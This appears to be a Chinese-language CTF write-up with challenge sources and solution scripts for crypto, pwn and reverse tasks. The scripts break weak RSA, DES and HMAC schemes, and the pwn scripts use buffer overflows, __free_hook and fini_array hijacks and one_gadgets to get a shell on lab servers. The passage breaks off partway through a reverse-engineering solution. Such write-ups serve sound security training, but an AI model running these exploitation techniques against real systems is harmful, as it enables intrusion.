# c=7606598493197579415131389145262572274370307669888941976116504066930650213265872480878754229342529633252984570181464491258921579456020053231560548776254368559815287393648703043816562080706313039456730230907295587911073470322670203094210837242275637368593652568847172953105577388011196415265267660434604835460576699229416537479102390956019699962898648323016691355526695316347258299225160950110303425405000707556634430770028017662263492867242358111006639585976524020636690580655708301984049506837664823178192539646036900136466349192381378239148009486221336067150830970536587622654288672086421586997432991363491619202528698915713412654568823064972909984091879020079979567381561487090911930132877805029769945444847434447472464168173756150780447367121212182763502545646060703352649535280237111559995922088423738938244679013956781661928821277684806739481459273450430753700851728111377729864117799347652264776431136323079002000276240074922751613393382682172270783794979676473794225072891134723052004116355391672721337352892915502798445849192853490846202610758956834901481932688248032206773442458438164769618204921925085219338554287468304572
# d=407901610088801627227998041426123211900409441687470227766991501940226867028500159792888002621917501886115657756142172077717750694655397990810386824581369266479051038881263556227956395407
# e=124094154211778931305293882056803086332763656672806022354884153133298046049688263883079405452053713255826807923954817413443300723193900118489389974503142786095871998674539663888530186294603689990811076601853618112103624524179406598743115874407992208631189471977746080673140725915825208148227123512525313098345229874145113844289608875391941542383821448834856830717804770049417238903518044933339803838279054135432750125863346200861548454020551825635423031464654446616585285676956403892979703546511130728520482751844481098798799671865736242063362513064755568201131055782933908364607617194194927616533705675705705205410979749756550307118072124506097413874538078902238727649125144099673200072493718995416013743206843824268749114187204698237269528267944250665364970706909582403697723823536538411087078992539047133582572928762082012793938307173514396951180165454054205907982919985166863623743234020051925748225918485952428741018417314807571580345821648907808218446727435602910457502267680482191939983618456668709763397206849712981881296448227439396696842481894550386456679027616805026913569097632353696289310575044582852194756108263064055183
# m = pow(c, d, n)
# print(long_to_bytes(m))
# TSC{R3c4lcU1at3_W1eNe(_At7@Ck_!!!}
```
### 從來不覺得算密碼學開心過
```python
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from random import randrange
flag = open('flag.txt', 'r').read().strip().encode()
p = getPrime(16)
r = [randrange(1, p) for _ in range(5)]
print(f'p = {p}')
# You have 5 unknown random numbers
# But you can only get 4 hashes
# It is impossible to recover the flag, right?
for i in range(4):
h = flag[i]
for j in range(5):
h = (h + (j+1) * r[j]) % p
r[j] = h
print(f"hash[{i}] = {h}")
key = 0
for rr in r:
key += rr
key *= 2**16
key = pad(long_to_bytes(key), 16)
aes = AES.new(key, AES.MODE_ECB)
ciphertext = aes.encrypt(pad(flag, AES.block_size))
print(f"ciphertext = {ciphertext}")
```
題目是一個有 `4` 條式子 `5` 個變數的模方程,注意到 flag 開頭一定是 `TSC{`,可以很簡單的把 flag 造成的影響去掉,並且因為 `p` 的範圍的關係,可以枚舉最後一個維度,以下是 exploit:
```python
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
ciphertext = b'z\xa5\xa5\x1d\xe5\xd2I\xb1\x15\xec\x95\x8b^\xb6:r=\xe3h\x06-\xe9\x01\xda\xc03\xa4\xf6\xa8_\x8c\x12!MZP\x17O\xee\xa3\x0f\x05\x0b\xea7cnP'
p = 42899
with open("output.txt", "r") as f:
datas = f.read().split("\n")
for data in datas:
if data == '':
break
data = list(map(int, data.split(' ')))
tmp = b"TSCCTF"
for i in range(4):
h = tmp[i]
for j in range(5):
h = (h + (j+1) * data[j]) % p
data[j] = h
key = 0
for rr in data:
key += rr
key *= 2**16
key = pad(long_to_bytes(key), 16)
aes = AES.new(key, AES.MODE_ECB)
try:
flag = aes.decrypt(ciphertext)
if b"TSC" in flag:
print(flag)
except:
pass
# TSC{d0_4_L1feTim3_0f_crypTogr4phy_w1th_yOu}
```
### classic
```python
import os
import string
import secrets
flag = os.getenv("FLAG") or "TSC{test_flag}"
charset = string.digits + string.ascii_letters + string.punctuation
A, B = secrets.randbelow(2**32), secrets.randbelow(2**32)
assert len(set((A * x + B) % len(charset) for x in range(len(charset)))) == len(charset)
enc = "".join(charset[(charset.find(c) * A + B) % len(charset)] for c in flag)
print(enc)
```
一個模數下的線性變換,由 `TS` 開頭可以求出 `A` 和 `B`,剩下的就是普通的模運算
```python
import string
ct = "o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV\""
charset = string.digits + string.ascii_letters + string.punctuation
# Ax+B
print(f"A * {charset.find('T')} + B = {charset.find(ct[0])}")
print(f"A * {charset.find('S')} + B = {charset.find(ct[1])}")
A = (charset.find(ct[0]) - charset.find(ct[1])) % len(charset)
B = (89 - A * 54) % len(charset)
assert((A * charset.find('C') + B - charset.find(ct[2])) % len(charset) == 0)
flag = ""
for i in ct:
flag += charset[(charset.find(i) - B) * pow(A, -1, len(charset)) % len(charset)]
print(flag)
# TSC{c14551c5_c1ph3r5_4r5_fr4g17e}
```
### 2des
```python
#!/usr/bin/env python
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from random import choice
from os import urandom
from time import sleep
def encrypt(msg: bytes, key1, key2):
des1 = DES.new(key1, DES.MODE_ECB)
des2 = DES.new(key2, DES.MODE_ECB)
return des2.encrypt(des1.encrypt(pad(msg, des1.block_size)))
def main():
flag = open('/flag.txt', 'r').read().strip().encode()
print("This is a 2DES encryption service.")
print("But you can only control one of the key.")
print()
while True:
print("1. Encrypt flag")
print("2. Decrypt flag")
print("3. Exit")
option = int(input("> "))
if option == 1:
# I choose a key
# You can choose another one
keyset = ["1FE01FE00EF10EF1", "01E001E001F101F1", "1FFE1FFE0EFE0EFE"]
key1 = bytes.fromhex(choice(keyset))
key2 = bytes.fromhex(input("Enter key2 (hex): ").strip())
ciphertext = encrypt(flag, key1, key2)
print("Here is your encrypted flag:", flush=True)
print("...", flush=True)
sleep(3)
if ciphertext[:4] == flag[:4]:
print(ciphertext)
print("Hmmm... What a coincidence!")
else:
print("System error!")
print()
elif option == 2:
print("Decryption are disabled")
print()
elif option == 3:
print("Bye!")
exit()
else:
print("Invalid option")
print()
if __name__ == "__main__":
main()
```
這題考 `des` 的半弱密鑰,有幾組密鑰兩個加密完後會和原本明文相同,就選一組來一直送:
```python
from pwn import *
r = remote("172.31.2.2", 9487)
while True:
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b": ", b"E01FE01FF10EF10E")
r.recvuntil(b"...\n")
k = r.recvline()
print(k)
if b"System" in k:
continue
print(k)
break
r.interactive()
# TSC{th3_Key_t0_br34k_DES_15_tHe_keY}
```
### AES Encryption Oracle
```python
#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
import os
def aes_cbc_encrypt(msg: bytes, key: bytes) -> bytes:
"""
Encrypts a message using AES in CBC mode.
Parameters:
msg (bytes): The plaintext message to encrypt.
key (bytes): The encryption key (must be 16, 24, or 32 bytes long).
Returns:
bytes: The initialization vector (IV) concatenated with the encrypted ciphertext.
"""
if len(key) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long.")
# Generate a random Initialization Vector (IV)
iv = os.urandom(16)
# Pad the message to be a multiple of the block size (16 bytes for AES)
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_msg = padder.update(msg) + padder.finalize()
# Create the AES cipher in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
# Encrypt the padded message
ciphertext = encryptor.update(padded_msg) + encryptor.finalize()
# Return IV concatenated with ciphertext
return iv + ciphertext
def aes_cbc_decrypt(encrypted_msg: bytes, key: bytes) -> bytes:
"""
Decrypts a message encrypted using AES in CBC mode.
Parameters:
encrypted_msg (bytes): The encrypted message (IV + ciphertext).
key (bytes): The decryption key (must be 16, 24, or 32 bytes long).
Returns:
bytes: The original plaintext message.
"""
if len(key) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long.")
# Extract the IV (first 16 bytes) and ciphertext (remaining bytes)
iv = encrypted_msg[:16]
ciphertext = encrypted_msg[16:]
# Create the AES cipher in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
# Decrypt the ciphertext
padded_msg = decryptor.update(ciphertext) + decryptor.finalize()
# Remove padding from the decrypted message
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
msg = unpadder.update(padded_msg) + unpadder.finalize()
return msg
def main():
with open("/home/kon/image-small.jpeg", "rb") as f:
image = f.read()
key = os.urandom(16)
encrypted_image = aes_cbc_encrypt(image, key)
k0n = int(input("What do you want to know? "))
print(f'{key = }')
print(f'{encrypted_image[k0n:k0n+32] = }')
if __name__ == "__main__":
main()
```
這題是他會給我 aes cbc 加密後的東西,只是他會一段一段 32 bytes 的給,每次的 iv 是 random 的,還有會給我 key。因為有 32 bytes,所以我們知道前 16 bytes 的密文,所以可以解密後 16 bytes 的密文:
```python
from pwn import *
from Crypto.Cipher import AES
flag = b""
for i in range(0, 23344, 16):
print(i)
r = remote("172.31.2.2", 36363)
r.sendlineafter(b"? ", str(i).encode())
k = r.recvline()
key = eval(k.split(b" = ")[-1])
k = r.recvline()
print(k)
enc = eval(k.split(b" = ")[-1])
cipher = AES.new(key, AES.MODE_CBC)
if len(enc) != 32:
print(len(enc))
break
pt = cipher.decrypt(enc)[16:32]
flag += pt
print(key, enc)
with open("output.jpg", "wb") as f:
f.write(flag)
with open("output.txt", "w") as f:
f.write(flag.hex())
print(cipher.decrypt(enc)[16:32])
if cipher.decrypt(enc)[16:32] == b"":
print(enc[:16])
break
r.close()
```
最後要破譯這張圖片拿到 flag,大概是這題裡面最困難的部分了:

由圖片中的狐狸可以知道 0 後面的其實不是 *,而是 x
TSC{f0x_Say_Gering-dingKon-kon-kon}
### Very Simple Login
```python
import base64
import hashlib
import json
import os
import re
import sys
import time
from secret import FLAG
def xor(message0: bytes, message1: bytes) -> bytes:
return bytes(byte0 & byte1 for byte0, byte1 in zip(message0, message1))
def sha256(message: bytes) -> bytes:
return hashlib.sha256(message).digest()
def hmac_sha256(key: bytes, message: bytes) -> bytes:
blocksize = 64
if len(key) > blocksize:
key = sha256(key)
if len(key) < blocksize:
key = key + b'\x00' * (blocksize - len(key))
o_key_pad = xor(b'\x5c' * blocksize, key)
i_key_pad = xor(b'\x3c' * blocksize, key)
return sha256(o_key_pad + sha256(i_key_pad) + message)
def sha256_jwt_dumps(data: dict, exp: int, key: bytes):
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {'sub': data, 'exp': exp}
header = base64.urlsafe_b64encode(json.dumps(header).encode())
payload = base64.urlsafe_b64encode(json.dumps(payload).encode())
signature = hmac_sha256(key, header + b'.' + payload)
signature = base64.urlsafe_b64encode(signature).rstrip(b'=')
return header + b'.' + payload + b'.' + signature
def sha256_jwt_loads(jwt: bytes, exp: int, key: bytes) -> dict | None:
header_payload, signature = jwt.rsplit(b'.', 1)
sig = hmac_sha256(key, header_payload)
sig = base64.urlsafe_b64encode(sig).rstrip(b'=')
if sig != signature:
raise ValueError('JWT error')
try:
header, payload = header_payload.split(b'.')[0], header_payload.split(b'.')[-1]
header = json.loads(base64.urlsafe_b64decode(header))
payload = json.loads(base64.urlsafe_b64decode(payload))
if (header.get('alg') != 'HS256') or (header.get('typ') != 'JWT'):
raise ValueError('JWT error')
if int(payload.get('exp')) < exp:
raise ValueError('JWT error')
except Exception:
raise ValueError('JWT error')
return payload.get('sub')
def register(username: str, key: bytes):
if re.fullmatch(r'[A-z0-9]+', username) is None:
raise ValueError("'username' format error.")
return sha256_jwt_dumps({'username': username}, int(time.time()) + 86400, key)
def login(token: bytes, key: bytes):
userdata = sha256_jwt_loads(token, int(time.time()), key)
return userdata['username']
def menu():
for _ in range(32):
print('==================')
print('1. Register')
print('2. Login')
print('3. Exit')
try:
choice = int(input('> '))
except Exception:
pass
if 1 <= choice <= 3:
return choice
print('Error choice !', end='\n\n')
sys.exit()
def main():
key = os.urandom(32)
for _ in range(32):
choice = menu()
if choice == 1:
username = input('Username > ')
try:
token = register(username, key)
except Exception:
print('Username Error !', end='\n\n')
continue
print(f'Token : {token.hex()}', end='\n\n')
if choice == 2:
token = bytes.fromhex(input('Token > '))
try:
username = login(token, key)
except Exception:
print('Token Error !', end='\n\n')
if username == 'Admin':
print(f'FLAG : {FLAG}', end='\n\n')
sys.exit()
else:
print('FLAG : TSC{???}', end='\n\n')
if choice == 3:
sys.exit()
if __name__ == '__main__':
try:
main()
except Exception:
sys.exit()
except KeyboardInterrupt:
sys.exit()
```
可以用 Admin 註冊,得到 Token 就直接登入:
```
==================
1. Register
2. Login
3. Exit
> 1
Username > Admin
Token : 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d4455354f546b3066513d3d2e6c5875434a4463306375535a375251793672325f4e4d54782d59524e3849465556544a786b47486f352d77
==================
1. Register
2. Login
3. Exit
> 2
Token > 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d4455354f546b3066513d3d2e6c5875434a4463306375535a375251793672325f4e4d54782d59524e3849465556544a786b47486f352d77
FLAG : TSC{Wr0nG_HM4C_7O_L3A_!!!}
```
## Pwn
### 窗戶麵包
第一次寫 windows pwn,一個簡單的 bof,給 `main` 的位置,然後會發現有個特別的函式 `magic`
```cpp
void __cdecl magic(const char *param1, int param2, const char *param3)
{
if ( !strcmp(param1, "B33F50UP") )
{
if ( param2 == 1337 )
{
if ( !strcmp(param3, "open_sesame") )
{
puts("All parameters are correct. Opening shell...");
WinExec("cmd.exe", 0);
}
else
{
puts("Parameter 3 is incorrect!");
}
}
else
{
puts("Parameter 2 is incorrect!");
}
}
else
{
puts("Parameter 1 is incorrect!");
}
}
```
我們直接跳到 `WinExec` 那行就好了:
```python
from pwn import *
r = remote("172.31.0.3", 56001)
r.recvuntil(b": ")
base = int(r.recvline().strip().decode(), 16) - 0xadb
payload = b"a" * 0x38 + p64(base + 0xabc)
r.sendlineafter(b"?", payload)
# print(r.recv())
r.interactive()
# TSC{w1nd0w5_buff3r_0v3rfl0w_1s_g0d_d4mn_34sy}
```
### Globalstack
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define MAX_STACK_SIZE 20
#define MAX_INPUT_SIZE 25
int64_t stack[MAX_STACK_SIZE];
int64_t* top = stack - 1;
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char *input = malloc(MAX_INPUT_SIZE);
char *command = malloc(MAX_INPUT_SIZE);
int64_t value;
puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
while (1) {
printf(">> ");
fgets(input, MAX_INPUT_SIZE, stdin);
sscanf(input, "%s", command);
if (strcmp(command, "push") == 0) {
if (sscanf(input, "%*s %ld", &value) == 1) {
top += 1;
*top = (int64_t)value;
printf("Pushed %ld to stack\n", value);
} else {
printf("Invalid push.\n");
}
} else if (strcmp(command, "pop") == 0) {
printf("Popped %ld from stack\n", *top);
top -= 1;
} else if (strcmp(command, "show") == 0) {
printf("Stack top: %ld\n", *top);
} else if (strcmp(command, "exit") == 0) {
break;
}
else if (strcmp(command, "help") == 0) {
puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
} else {
printf("Unknown command: %s\n", command);
}
}
free(input);
free(command);
return 0;
}
```
有個在全域的 stack,可以亂寫東西,但是 got 不可寫。首先我們可以 leak libc,然後會發現那個全域 stack 的 top pointer 是可寫的,所以可以任意寫。然後他 libc 版本是 2.31 ,所以有 free hook,去把 free hook 寫成 one gadget 就成功了:
```python
from pwn import *
from ctypes import *
# r = process("./globalstack")
r = remote("172.31.1.2", 11101)
libc = ELF("libc-2.31.so")
def push(x: bytes):
r.sendlineafter(b">> ", b"push " + str(c_longlong(u64(x)).value).encode())
print(r.recvline())
def pop():
r.sendlineafter(b">> ", b"pop")
return p64(c_ulonglong(int(r.recvline().split(b" ")[1])).value)
stack = []
pop()
libc.address = u64(pop()) - 0x1ec980
print(hex(libc.address))
for i in range(3):
pop()
# print(hex(u64(pop())))
pie_base = u64(pop()) - 0x4010
print(f"{hex(pie_base) = }")
print(hex(libc.symbols["__free_hook"]))
push(p64(libc.symbols["__free_hook"] - 8))
push(p64(libc.address + 0xe3b01))
r.sendlineafter(b">> ", b"exit")
r.interactive()
# TSC{fr33_h00k_1s_nO_L0ng3r_fr33_AFt3r_Glibc_2.34_^_^_2d9e302796bcf60e}
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
```
### Localstack
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define MAX_STACK_SIZE 20
#define MAX_INPUT_SIZE 25
void print_flag() {
char flag[64];
FILE *f = fopen("flag", "r");
if (f == NULL) {
perror("fopen");
exit(1);
}
fgets(flag, sizeof(flag), f);
printf("%s",flag);
fclose(f);
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char input[25];
char command[25];
int64_t stack[MAX_STACK_SIZE];
int64_t top = -1;
int64_t value;
puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
while (1) {
printf(">> ");
fgets(input, sizeof(input), stdin);
sscanf(input, "%s", command);
if (strcmp(command, "push") == 0) {
if (sscanf(input, "%*s %ld", &value) == 1) {
stack[++top] = value;
printf("Pushed %ld to stack\n", value);
} else {
printf("Invalid push.\n");
}
} else if (strcmp(command, "pop") == 0) {
printf("Popped %ld from stack\n", stack[top--]);
} else if (strcmp(command, "show") == 0) {
printf("Stack top: %ld\n", stack[top]);
} else if (strcmp(command, "exit") == 0) {
break;
}
else if (strcmp(command, "help") == 0) {
puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
} else {
printf("Unknown command: %s\n", command);
}
}
return 0;
}
```
有一個在 stack 上的 stack,可以亂寫東西。可以發現,這個 stack 的 top index 可以被寫,所以我們可以在 stack 的相對位置上任意寫。那我們跳到一個在 rbp 之下,而且有 pie base 的相對位置的地方,這樣能 leak pie base。之後一直 pop 回來再 push 蓋掉 return address,蓋成 `print_flag` 的位置,最後 `exit` 就能 get flag:
```python
from ctypes import *
from pwn import *
# r = process("./local")
r = remote("172.31.1.2", 11100)
now = -1
def push(x: bytes):
global now
if now != -1:
now += 8
r.sendlineafter(b">> ", b"push " + str(c_longlong(u64(x)).value).encode())
print(r.recvline())
def pop():
global now
if now != -1:
now -= 8
r.sendlineafter(b">> ", b"pop")
return p64(c_ulonglong(int(r.recvline().split(b" ")[1])).value)
pop()
push(p64(0x23))
pie_base = u64(pop()) - 0x1334
for i in range(4):
pop()
push(p64(pie_base + 0x1289))
r.sendlineafter(b">> ", b"exit")
r.interactive()
```
### BabyStack
```cpp
#include <stdio.h>
#include <stdlib.h>
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
char *ptr = 0;
char ans0[0x10] = {0};
char ans1[0x10] = {0};
char ans2[0x10] = {0};
puts("========= Welcome To Baby Stack =========");
printf("| Gift : %p\n", puts);
puts("| Do you know how the stack works ?");
printf("| > ");
read(0, ans0, 8);
puts("| Do you know how the stack works ?");
printf("| > ");
read(0, ans1, 8);
puts("| Do you know how the stack works ?");
printf("| > ");
read(0, ans2, 8);
puts("| Show your skills !");
printf("| > ");
scanf("%llx", &ptr);
printf("| > ");
read(0, ptr, 0x10);
puts("========= End Of Baby Stack =========");
return 0;
}
```
這題給 libc base,並且給 0x10 bytes 的任意寫,可以去寫一些在 exit 中會 call 到的東西。有一個在 `_rtld_global._dl_ns._ns_loaded` 存的值,是 pie base,他會根據這個值去找到 fini_array 執行上面的東西,所以我們只要把他的值改成 address - fini_array_off,就可以跳上 address 上面存的地址了。所以我們把 one gadget 寫到 `_rtld_global._dl_ns._ns_loaded - 8`,把 `_rtld_global._dl_ns._ns_loaded` 寫成 `_rtld_global._dl_ns._ns_loaded - 8 - fini_array_off`,就可以跳到 one gadget 上了。但是 `_rtld_global` 是在 ld 上面的,他和 libc 會差一個小 offset,枚舉一下就好了:
```python
from pwn import *
import random
libc = ELF("libc.so.6")
while True:
for off in range(0x202, 0x500):
try:
# off = random.randint(0x200, 0x4ff)
off = hex(off)[2:]
off = "0x" + off + "000"
off = int(off, 16)
r = remote("172.31.2.2", 36902)
# r = process("./chal")
# r = remote("172.18.0.2", 36902)
# off = int(input())
r.recvuntil(b": ")
k = r.recvline().strip().decode()
# off = 0x230000
libc_base = int(k, 16) - libc.symbols["puts"]
ld_base = libc_base + off
print(hex(off))
if(libc_base < 0):
print(k, int(k, 16) - libc.symbols["puts"])
print(hex(libc_base))
print(hex(ld_base))
l_addr_off = 0x3b2e0
fini_array_off = 0x3d98
l_addr = ld_base + l_addr_off
print(hex(l_addr))
# print(hex(libc.address))
r.sendlineafter(b"> ", b"aaaaaaa")
r.sendlineafter(b"> ", b"aaaaaaa")
r.sendlineafter(b"> ", b"aaaaaaa")
r.sendlineafter(b"> ", hex(l_addr - 8).encode())
oneoff = 0xebd38
r.sendlineafter(b"> ", p64(libc_base + oneoff) + p64(l_addr - 8 - fini_array_off))
print("dd")
k = b""
k = r.recvuntil(b" =========", timeout=1)
if k == b"":
r.interactive()
print(k)
r.sendline(b"ls")
r.recvline()
print("yee")
r.interactive()
# TSC{YoU_KnOw_h0w_7h3_b4bY_st@(k_w0rk$_!!!}
except:
try:
r.close()
except:
pass
pass
```
## Reverse
### meoware
會發現他 `main` 的最後會輸出 `flag`,但是中間卡在一個迴圈:
```cpp
while(rand()){
...
}
```
直接把他跳過去就好

### linkstart
```cpp
puts("Link Start!");
printf("Give me flag to logout: ");
fgets(s, 100, stdin);
s[strcspn(s, "\n")] = 0;
if ( strlen(s) != 44 )
goto LABEL_17;
if ( (strlen(s) & 3) != 0 )
goto LABEL_17;
for ( i = strlen(s) - 1; i >= 0; insert(&v8, s[i--]) )
;
for ( j = 0; j < strlen(s); j += 4 )
{
v9 = 0;
for ( k = 0; k <= 3; ++k )
s[k - 4] = (16 * (k + 1)) ^ pop(&v8); // v8 = v8.prev, return original
insert(&v8, SBYTE2(v9));
insert(&v8, v9);
insert(&v8, SBYTE1(v9));
insert(&v8, SHIBYTE(v9));
for ( m = 0; m <= 3; ++m )
v8 = v8->prev;
}
v8 = v8->prev;
sub_133F((__int64)v8, (__int64)s1);
if ( !strcmp(s1, s2) )
{
puts("Logout Success :)");
sub_139A(v8);
return 0LL;
}
else
{
LABEL_17:
puts("Logout Failed :(");
sub_139A(v8);
return 1LL;
}
```
這是一個 flag checker,把 struct 復原一下會發現,出現一個環狀 linked list。然後實際上做的事情是把東西 4 個 4 個送進來逐位 xor 再 p_box,所以倒著做回去就好,以下是 exploit:
```python
res = b';sDs\x1f\x10IE\x1fr$Uq\x7fq|$k~\x03ulOy!\x7fd}\x12tcU!`O[\rlO|=^nN'
k = b"\x40\x20\x10\x30" * 11
def xor(a: bytes, b: bytes):
return bytes(x ^ y for x, y in zip(a, b))
x = xor(res, k)
flag = b""
for i in range(0, len(x), 4):
flag += bytes([x[i + 2], x[i + 1], x[i + 3], x[i]])
# print(flag.hex())
print(flag)
# TSC{Y0u_4Re_a_L1nK3d_LI5t_MasTeR_@ka_LLM~~~}
```
### Local Connect
給一個 binary 和他送出去和進來的封包紀錄
會發現,他一開始會 random 3 個數字,進去做一些運算,因為 3 個數字都小於 256,所以就暴力枚舉去計算:
```cpp
#include<bits/stdc++.h>
unsigned char payload[15] = "?\225C\321y\241\334G&p\330S/7";
unsigned char func2_origional[15] = "shallowfeather";
unsigned char func1_out[128] = "Expand 32-byte kshallowfeather\310v\003starburststream\x00\x00\x00\x00\x00\x00\x00\x00hahah";
// sub_3ACA(func1_out, func2_origional, 14);
int cnt = 0;
unsigned int ROL(unsigned int x, int cnt){
return (x << cnt) | (x >> (32 - cnt));
}
void some_xor(unsigned int *a1, unsigned int *a2)
{
int k; // [rsp+24h] [rbp-1Ch]
int j; // [rsp+28h] [rbp-18h]
int i; // [rsp+2Ch] [rbp-14h]
for ( i = 0; i <= 15; ++i )
a2[i] = a1[i];
for ( j = 0; j <= 9; ++j )
{
*a2 += a2[4];
a2[12] = ROL((unsigned int)(a2[12] ^ *a2), 16LL);
a2[8] += a2[12];
a2[4] = ROL((unsigned int)(a2[4] ^ a2[8]), 12LL);
*a2 += a2[4];
a2[12] = ROL((unsigned int)(a2[12] ^ *a2), 8LL);
a2[8] += a2[12];
a2[4] = ROL((unsigned int)(a2[4] ^ a2[8]), 7LL);
a2[1] += a2[5];
a2[13] = ROL((unsigned int)(a2[13] ^ a2[1]), 16LL);
a2[9] += a2[13];
a2[5] = ROL((unsigned int)(a2[5] ^ a2[9]), 12LL);
a2[1] += a2[5];
a2[13] = ROL((unsigned int)(a2[13] ^ a2[1]), 8LL);
a2[9] += a2[13];
a2[5] = ROL((unsigned int)(a2[5] ^ a2[9]), 7LL);
a2[2] += a2[6];
a2[14] = ROL((unsigned int)(a2[14] ^ a2[2]), 16LL);
a2[10] += a2[14];
a2[6] = ROL((unsigned int)(a2[6] ^ a2[10]), 12LL);
a2[2] += a2[6];
a2[14] = ROL((unsigned int)(a2[14] ^ a2[2]), 8LL);
a2[10] += a2[14];
a2[6] = ROL((unsigned int)(a2[6] ^ a2[10]), 7LL);
a2[3] += a2[7];
a2[15] = ROL((unsigned int)(a2[15] ^ a2[3]), 16LL);
a2[11] += a2[15];
a2[7] = ROL((unsigned int)(a2[7] ^ a2[11]), 12LL);
a2[3] += a2[7];
a2[15] = ROL((unsigned int)(a2[15] ^ a2[3]), 8LL);
a2[11] += a2[15];
a2[7] = ROL((unsigned int)(a2[7] ^ a2[11]), 7LL);
*a2 += a2[5];
a2[15] = ROL((unsigned int)(a2[15] ^ *a2), 16LL);
a2[10] += a2[15];
a2[5] = ROL((unsigned int)(a2[5] ^ a2[10]), 12LL);
*a2 += a2[5];
a2[15] = ROL((unsigned int)(a2[15] ^ *a2), 8LL);
a2[10] += a2[15];
a2[5] = ROL((unsigned int)(a2[5] ^ a2[10]), 7LL);
a2[1] += a2[6];
a2[12] = ROL((unsigned int)(a2[12] ^ a2[1]), 16LL);
a2[11] += a2[12];
a2[6] = ROL((unsigned int)(a2[6] ^ a2[11]), 12LL);
a2[1] += a2[6];
a2[12] = ROL((unsigned int)(a2[12] ^ a2[1]), 8LL);
a2[11] += a2[12];
a2[6] = ROL((unsigned int)(a2[6] ^ a2[11]), 7LL);
a2[2] += a2[7];
a2[13] = ROL((unsigned int)(a2[13] ^ a2[2]), 16LL);
a2[8] += a2[13];
a2[7] = ROL((unsigned int)(a2[7] ^ a2[8]), 12LL);
a2[2] += a2[7];
a2[13] = ROL((unsigned int)(a2[13] ^ a2[2]), 8LL);
a2[8] += a2[13];
a2[7] = ROL((unsigned int)(a2[7] ^ a2[8]), 7LL);
a2[3] += a2[4];
a2[14] = ROL((unsigned int)(a2[14] ^ a2[3]), 16LL);
a2[9] += a2[14];
a2[4] = ROL((unsigned int)(a2[4] ^ a2[9]), 12LL);
a2[3] += a2[4];
a2[14] = ROL((unsigned int)(a2[14] ^ a2[3]), 8LL);
a2[9] += a2[14];
a2[4] = ROL((unsigned int)(a2[4] ^ a2[9]), 7LL);
}
for ( k = 0; k <= 15; ++k )
a2[k] += a1[k];
a1[12]++;
return;
}
void partial_cp(unsigned int a1, unsigned int* a2)
{
// __int64 result; // rax
// *(_BYTE *)a2 = a1;
// *(_WORD *)(a2 + 1) = a1 >> 8;
// result = a2 + 3;
// *(_BYTE *)(a2 + 3) = HIBYTE(a1);
// *a2 = a1 & 0xFF0000FF;
*a2 = a1;
return; // *(_DWORD*)a2 = b3, 0, 0, b0
}
void sub_3A14(unsigned int *a1, unsigned int *a2)
{
unsigned int v3[18]; // [rsp+10h] [rbp-50h] BYREF
some_xor(a1, v3);
for (int i = 0LL; i <= 0xF; ++i )
partial_cp(v3[i], &a2[i]);
return;
}
void sub_3ACA(unsigned char* a, unsigned char* func2_out0, int func2_out_len)
{
for (int i = 0; i < func2_out_len; i++)
{
func2_out0[i] ^= a[i + 64];
}
return;
}
bool check(unsigned char x, unsigned char y, unsigned char z){
unsigned char func2[15];
unsigned char func1[128];
memcpy(func2, func2_origional, sizeof(func2));
memcpy(func1, func1_out, sizeof(func1));
func1[61] = x;
func1[62] = y;
func1[63] = z;
sub_3A14((unsigned int*)func1, (unsigned int*)(func1 + 64));
sub_3ACA(func1, func2, 14);
for(int i = 0; i < 14; i++){
if(func2[i] != payload[i]){
return 0;
}
}
return 1;
}
int main(){
// printf("%s", payload);
for(int i = 0; i < 256; i++){
std::cout << i << "\n";
for(int j = 0; j < 256; j++){
for(int k = 0; k < 256; k++){
if(check(i, j, k)){
std::cout << i << " " << j << " " << k << "\n";
exit(0);
}
}
}
}
}
// 45 35 100
```
拿到了之後可以去改那些 random 的數應該在的地方:

然後把所有網路的邏輯都跳過,把正確的值寫上去:


接下來一直執行,他會寫出一個 flag 檔案,發現他是一個 binary,於是丟進 ida
```cpp
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [xsp+10h] [xbp-B0h]
